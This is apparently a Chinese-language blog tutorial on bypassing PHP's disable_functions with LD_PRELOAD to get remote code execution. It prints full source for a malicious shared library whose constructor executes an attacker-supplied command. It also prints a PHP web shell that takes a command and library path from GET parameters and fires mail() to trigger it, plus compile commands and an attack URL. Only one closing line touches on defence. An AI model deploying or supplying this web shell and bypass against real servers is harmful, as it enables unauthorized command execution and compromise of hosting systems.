什么是DisableFunction

绝大多数情况下,我们通过PHP获得RCE的手段,是通过调用PHP内置的函数来执行系统命令。而通过disable_functions可以禁用这些函数,例如system()。

当目标网站运行在Linux下,而且禁用了危险函数,在这种情况下即使我们有上传文件的权限,我们也没办法实现RCE吗?

答案是有的。


什么是LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

一般情况下,其加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib

简单来说,我们通过LD_PRELOAD加载了动态库,而后续的程序要运行时就会优先加载该库中的函数。


在 PHP 中如何利用

在PHP中,我们大致的利用思路为:

  • 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so
  • 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 getuid_shadow.so,以便后续启动新进程时优先加载该共享对象
  • 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持
  • 达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的

具体的思路可以看原链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD


具体实现

上文提到的Repo里有三个关键文件bypass_disablefunc.phpbypass_disablefunc.c因为每一台机器的环境不一样,这里贴出C文件,自行根据需求编译。

bypass_disablefunc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 
// bypass_disablefunc.c
//
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

bypass_disablefunc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

操作过程

gcc 将 bypass_disablefunc.c 编译。 若目标为 x86 架构,需要加上 -m32 选项重新编译

1
2
3
4
# x64
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
# x86
gcc -shared -m32 -fPIC bypass_disablefunc.c -o bypass_disablefunc_x86.so

在有上传权限以及上传目录可访问的前提下,将 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 传到目标,指定好三个 GET 参数后,访问bypass_disablefunc.php 即可绕过disable_function,实现RCE。

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so


防范方法

前文中提到该方法需要借助putenv()函数加载环境变量,在disable_function中禁用该函数即可?